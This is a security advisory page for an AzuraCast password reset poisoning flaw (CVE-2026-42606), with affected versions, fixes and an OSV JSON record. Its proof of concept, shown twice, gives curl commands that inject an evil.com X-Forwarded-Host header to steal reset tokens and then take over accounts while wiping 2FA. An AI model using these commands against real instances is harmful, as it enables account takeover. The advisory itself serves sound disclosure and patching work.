CVE-2026-42606: Azuracast/azuracast AzuraCast Has Password Reset Poisoning Vulnerability

HIGH
Advisory Identifier: GHSA-gv7r-3mr9-h5x8
CVSS 8.1
CWE-640
Published
Advisory Summary

CVE-2026-42606 is a HIGH (CVSS 8.1) azuracast has password reset poisoning vulnerability (CWE-640: Weak Password Recovery Mechanism for Forgotten Password) affecting Azuracast/azuracast libraries in the Packagist ecosystem. The issue involves azuracast has password reset poisoning via untrusted x-forwarded-host header that leads to account takeover and 2fa bypass. Remediation is available by upgrading affected packages to version 0.23.6.

CVE-2026-42606 at a Glance

CVE Identifier CVE-2026-42606
GHSA Identifier GHSA-gv7r-3mr9-h5x8
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-640: Weak Password Recovery Mechanism for Forgotten Password
Affected Product Azuracast/azuracast
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-42606

To remediate this vulnerability, upgrade all affected Azuracast/azuracast dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

azuracast/azuracast fixed: 0.23.6
Upgrade azuracast/azuracast to 0.23.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for azuracast/azuracast

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-42606, inspect your project dependencies for Azuracast/azuracast:

inspect dependencies for azuracast/azuracast

Analyze the terminal output to locate any version of Azuracast/azuracast in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.23.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-640: Weak Password Recovery Mechanism for Forgotten Password, where the product contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak. In Azuracast/azuracast, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `ApplyXForwarded` middleware unconditionally trusts the client-supplied `X-Forwarded-Host` HTTP header with no trusted proxy allowlist. An unauthenticated attacker can poison the password reset URL sent to any user by injecting this header when triggering the forgot-password flow. When the victim clicks the poisoned link, their reset token is exfiltrated to the attacker's server. The attacker then uses the token on the real instance to reset the victim's password and destroy their 2FA configuration, achieving full account takeover. ## Details ### Root Cause 1: Unconditional X-Forwarded-Host Trust `backend/src/Middleware/ApplyXForwarded.php:35-40`: ```php if ($request->hasHeader('X-Forwarded-Host')) { $hasXForwardedHeader = true; $xfHost = Types::stringOrNull($request->getHeaderLine('X-Forwarded-Host'), true); if (null !== $xfHost) { $uri = $uri->withHost($xfHost); } } ``` There is no validation that the request originates from a trusted reverse proxy. Any direct client can set this header and it will be accepted. In the default Docker deployment, nginx's PHP location block (`util/docker/web/nginx/azuracast.conf.tmpl:150-171`) uses `fastcgi_pass` with `include fastcgi_params`. Standard nginx behavior passes all client HTTP headers through to PHP-FPM as `HTTP_*` parameters. The `proxy_params.conf` file — which explicitly sets `X-Forwarded-For`, `X-Forwarded-Proto`, and `X-Forwarded-Port` — only applies to `proxy_pass` directives (websocket and vite dev server), NOT to the `fastcgi_pass` PHP handler. Therefore, client-supplied `X-Forwarded-Host` reaches PHP unmodified. ### Root Cause 2: Request Host Used for Security-Critical URLs `backend/src/Http/Router.php:53-77` in `buildBaseUrl()`: ```php $useRequest ??= $settings->prefer_browser_url; // default: true // ... if ($useRequest || $baseUrl->getHost() === '') { $ignoredHosts = ['web', 'nginx', 'localhost']; if (!in_array($currentUri->getHost(), $ignoredHosts, true)) { $baseUrl = (new Uri()) ->withScheme($currentUri->getScheme()) ->withHost($currentUri->getHost()) ->withPort($currentUri->getPort()); } } ``` With `prefer_browser_url = true` (the default at `backend/src/Entity/Settings.php:109`), the request URI host — already poisoned by `ApplyXForwarded` — is used as the base URL for generating absolute URLs. Even if a `base_url` is configured in settings, it is overridden by the poisoned request host. ### Root Cause 3: Password Reset Generates Absolute URL `backend/src/Controller/Frontend/Account/ForgotPasswordAction.php:72-77`: ```php $router = $request->getRouter(); $url = $router->named( routeName: 'account:login-token', routeParams: ['token' => $token], absolute: true ); ``` This URL is embedded in the password reset email sent to the victim. ### Root Cause 4: Reset Token Wipes 2FA `backend/src/Controller/Frontend/Account/LoginTokenAction.php:74-75`: ```php $user->setNewPassword($data['password']); $user->two_factor_secret = null; ``` When a `ResetPassword` token is consumed, the user's 2FA secret is unconditionally destroyed. ## PoC **Prerequisites:** An AzuraCast instance with a user account (e.g., `admin@target.com`) that has 2FA enabled. Attacker controls `evil.com` with a web server that logs incoming requests. ### Step 1: Trigger poisoned password reset ```bash curl -X POST https://target.azuracast.example/forgot \ -H "X-Forwarded-Host: evil.com" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "email=admin@target.com" ``` **Expected result:** The password reset email sent to `admin@target.com` contains a URL like: ``` https://evil.com/login-token/abc123def456... ``` ### Step 2: Capture the token When the victim clicks the link in their email, their browser navigates to `https://evil.com/login-token/abc123def456...`. The attacker's web server at `evil.com` captures the full URL path, extracting the token `abc123def456...`. ### Step 3: Use token on real instance ```bash # First, GET the reset page to obtain CSRF token curl -c cookies.txt https://target.azuracast.example/login-token/abc123def456... # Extract CSRF token from response, then POST new password curl -b cookies.txt -X POST https://target.azuracast.example/login-token/abc123def456... \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "csrf=<extracted_csrf_token>&password=AttackerPassword123" ``` **Result:** The victim's password is changed to `AttackerPassword123` and their 2FA is destroyed (`two_factor_secret = null`). The attacker is logged in with full access. ## Impact - **Full account takeover** of any user account, including administrators, without any prior authentication - **2FA bypass** — the password reset flow unconditionally destroys 2FA configuration, negating its security benefit - **Administrative compromise** — if the target is an admin account, the attacker gains full control of the AzuraCast instance, including all stations, media, and system settings - The attack requires the victim to click a link in a legitimate-looking password reset email from the real AzuraCast mail system, which increases the likelihood of success ## Recommended Fix **Fix 1 (Primary): Validate X-Forwarded-Host against a trusted proxy allowlist** In `backend/src/Middleware/ApplyXForwarded.php`, only apply `X-Forwarded-*` headers when the request originates from a trusted proxy (e.g., the Docker-internal nginx): ```php // Add trusted proxy check $trustedProxies = ['127.0.0.1', '::1', 'nginx', 'web']; $remoteAddr = $request->getServerParams()['REMOTE_ADDR'] ?? ''; if (!in_array($remoteAddr, $trustedProxies, true)) { return $handler->handle($request); } // ... existing X-Forwarded-* processing ``` **Fix 2 (Defense in depth): Use configured base URL for security-critical emails** In `ForgotPasswordAction.php`, generate the reset URL using the configured `base_url` setting rather than the request-derived URL: ```php $router = $request->getRouter(); $url = $router->named( routeName: 'account:login-token', routeParams: ['token' => $token], absolute: true, // Force use of configured base URL, not request host ); ``` Or modify `Router::buildBaseUrl()` to never use request-derived hosts for absolute URLs by adding an option to force the configured base URL. **Fix 3 (Defense in depth): Don't wipe 2FA on password reset** In `LoginTokenAction.php:75`, remove the line `$user->two_factor_secret = null;`. If 2FA recovery is needed, it should be a separate, explicit flow — not a side effect of password reset.

CVE-2026-42606 Affected Azuracast/azuracast Versions

1 component(s)
Fixed Versions:
0.23.6
Product / Package Ecosystem Affected Versions Fixed Version
azuracast/azuracast
Packagist
< 0.23.6
0.23.6

References

Frequently Asked Questions

What is CVE-2026-42606?
CVE-2026-42606 is a security vulnerability in Azuracast/azuracast involving AzuraCast has Password Reset Poisoning via Untrusted X-Forwarded-Host Header that Leads to Account Takeover and 2FA Bypass under CWE-640: Weak Password Recovery Mechanism for Forgotten Password.
Which Azuracast/azuracast versions are affected?
Affected versions include releases prior to 0.23.6 across affected packages: azuracast/azuracast.
What version fixes CVE-2026-42606?
Upgrading to 0.23.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is azuracast/azuracast affected?
Yes, azuracast/azuracast is affected in releases prior to 0.23.6. Upgrade your dependency to 0.23.6 or later.
What is the CVSS score of CVE-2026-42606?
CVE-2026-42606 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-42606?
CVE-2026-42606 is classified under CWE-640: Weak Password Recovery Mechanism for Forgotten Password (The product contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.).
How can I check Packagist dependencies for CVE-2026-42606?
Run the dependency tree command: 'inspect dependencies for azuracast/azuracast'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gv7r-3mr9-h5x8",
  "modified" : "2026-05-13T13:42:21Z",
  "published" : "2026-05-04T21:17:45Z",
  "aliases" : [ "CVE-2026-42606" ],
  "summary" : "AzuraCast has Password Reset Poisoning via Untrusted X-Forwarded-Host Header that Leads to Account Takeover and 2FA Bypass",
  "details" : "## Summary\n\nThe `ApplyXForwarded` middleware unconditionally trusts the client-supplied `X-Forwarded-Host` HTTP header with no trusted proxy allowlist. An unauthenticated attacker can poison the password reset URL sent to any user by injecting this header when triggering the forgot-password flow. When the victim clicks the poisoned link, their reset token is exfiltrated to the attacker's server. The attacker then uses the token on the real instance to reset the victim's password and destroy their 2FA configuration, achieving full account takeover.\n\n## Details\n\n### Root Cause 1: Unconditional X-Forwarded-Host Trust\n\n`backend/src/Middleware/ApplyXForwarded.php:35-40`:\n```php\nif ($request->hasHeader('X-Forwarded-Host')) {\n    $hasXForwardedHeader = true;\n    $xfHost = Types::stringOrNull($request->getHeaderLine('X-Forwarded-Host'), true);\n    if (null !== $xfHost) {\n        $uri = $uri->withHost($xfHost);\n    }\n}\n```\n\nThere is no validation that the request originates from a trusted reverse proxy. Any direct client can set this header and it will be accepted.\n\nIn the default Docker deployment, nginx's PHP location block (`util/docker/web/nginx/azuracast.conf.tmpl:150-171`) uses `fastcgi_pass` with `include fastcgi_params`. Standard nginx behavior passes all client HTTP headers through to PHP-FPM as `HTTP_*` parameters. The `proxy_params.conf` file — which explicitly sets `X-Forwarded-For`, `X-Forwarded-Proto`, and `X-Forwarded-Port` — only applies to `proxy_pass` directives (websocket and vite dev server), NOT to the `fastcgi_pass` PHP handler. Therefore, client-supplied `X-Forwarded-Host` reaches PHP unmodified.\n\n### Root Cause 2: Request Host Used for Security-Critical URLs\n\n`backend/src/Http/Router.php:53-77` in `buildBaseUrl()`:\n```php\n$useRequest ??= $settings->prefer_browser_url; // default: true\n\n// ...\nif ($useRequest || $baseUrl->getHost() === '') {\n    $ignoredHosts = ['web', 'nginx', 'localhost'];\n    if (!in_array($currentUri->getHost(), $ignoredHosts, true)) {\n        $baseUrl = (new Uri())\n            ->withScheme($currentUri->getScheme())\n            ->withHost($currentUri->getHost())\n            ->withPort($currentUri->getPort());\n    }\n}\n```\n\nWith `prefer_browser_url = true` (the default at `backend/src/Entity/Settings.php:109`), the request URI host — already poisoned by `ApplyXForwarded` — is used as the base URL for generating absolute URLs. Even if a `base_url` is configured in settings, it is overridden by the poisoned request host.\n\n### Root Cause 3: Password Reset Generates Absolute URL\n\n`backend/src/Controller/Frontend/Account/ForgotPasswordAction.php:72-77`:\n```php\n$router = $request->getRouter();\n$url = $router->named(\n    routeName: 'account:login-token',\n    routeParams: ['token' => $token],\n    absolute: true\n);\n```\n\nThis URL is embedded in the password reset email sent to the victim.\n\n### Root Cause 4: Reset Token Wipes 2FA\n\n`backend/src/Controller/Frontend/Account/LoginTokenAction.php:74-75`:\n```php\n$user->setNewPassword($data['password']);\n$user->two_factor_secret = null;\n```\n\nWhen a `ResetPassword` token is consumed, the user's 2FA secret is unconditionally destroyed.\n\n## PoC\n\n**Prerequisites:** An AzuraCast instance with a user account (e.g., `admin@target.com`) that has 2FA enabled. Attacker controls `evil.com` with a web server that logs incoming requests.\n\n### Step 1: Trigger poisoned password reset\n\n```bash\ncurl -X POST https://target.azuracast.example/forgot \\\n  -H \"X-Forwarded-Host: evil.com\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"email=admin@target.com\"\n```\n\n**Expected result:** The password reset email sent to `admin@target.com` contains a URL like:\n```\nhttps://evil.com/login-token/abc123def456...\n```\n\n### Step 2: Capture the token\n\nWhen the victim clicks the link in their email, their browser navigates to `https://evil.com/login-token/abc123def456...`. The attacker's web server at `evil.com` captures the full URL path, extracting the token `abc123def456...`.\n\n### Step 3: Use token on real instance\n\n```bash\n# First, GET the reset page to obtain CSRF token\ncurl -c cookies.txt https://target.azuracast.example/login-token/abc123def456...\n\n# Extract CSRF token from response, then POST new password\ncurl -b cookies.txt -X POST https://target.azuracast.example/login-token/abc123def456... \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"csrf=<extracted_csrf_token>&password=AttackerPassword123\"\n```\n\n**Result:** The victim's password is changed to `AttackerPassword123` and their 2FA is destroyed (`two_factor_secret = null`). The attacker is logged in with full access.\n\n## Impact\n\n- **Full account takeover** of any user account, including administrators, without any prior authentication\n- **2FA bypass** — the password reset flow unconditionally destroys 2FA configuration, negating its security benefit\n- **Administrative compromise** — if the target is an admin account, the attacker gains full control of the AzuraCast instance, including all stations, media, and system settings\n- The attack requires the victim to click a link in a legitimate-looking password reset email from the real AzuraCast mail system, which increases the likelihood of success\n\n## Recommended Fix\n\n**Fix 1 (Primary): Validate X-Forwarded-Host against a trusted proxy allowlist**\n\nIn `backend/src/Middleware/ApplyXForwarded.php`, only apply `X-Forwarded-*` headers when the request originates from a trusted proxy (e.g., the Docker-internal nginx):\n\n```php\n// Add trusted proxy check\n$trustedProxies = ['127.0.0.1', '::1', 'nginx', 'web'];\n$remoteAddr = $request->getServerParams()['REMOTE_ADDR'] ?? '';\n\nif (!in_array($remoteAddr, $trustedProxies, true)) {\n    return $handler->handle($request);\n}\n\n// ... existing X-Forwarded-* processing\n```\n\n**Fix 2 (Defense in depth): Use configured base URL for security-critical emails**\n\nIn `ForgotPasswordAction.php`, generate the reset URL using the configured `base_url` setting rather than the request-derived URL:\n\n```php\n$router = $request->getRouter();\n$url = $router->named(\n    routeName: 'account:login-token',\n    routeParams: ['token' => $token],\n    absolute: true,\n    // Force use of configured base URL, not request host\n);\n```\n\nOr modify `Router::buildBaseUrl()` to never use request-derived hosts for absolute URLs by adding an option to force the configured base URL.\n\n**Fix 3 (Defense in depth): Don't wipe 2FA on password reset**\n\nIn `LoginTokenAction.php:75`, remove the line `$user->two_factor_secret = null;`. If 2FA recovery is needed, it should be a separate, explicit flow — not a side effect of password reset.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "azuracast/azuracast"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.23.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.23.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-gv7r-3mr9-h5x8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42606"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/AzuraCast/AzuraCast/commit/7c622a18b451533de317e53862b1f84acf4efd85"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/AzuraCast/AzuraCast"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-640" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-04T21:17:45Z",
    "nvd_published_at" : "2026-05-09T20:16:30Z"
  }
}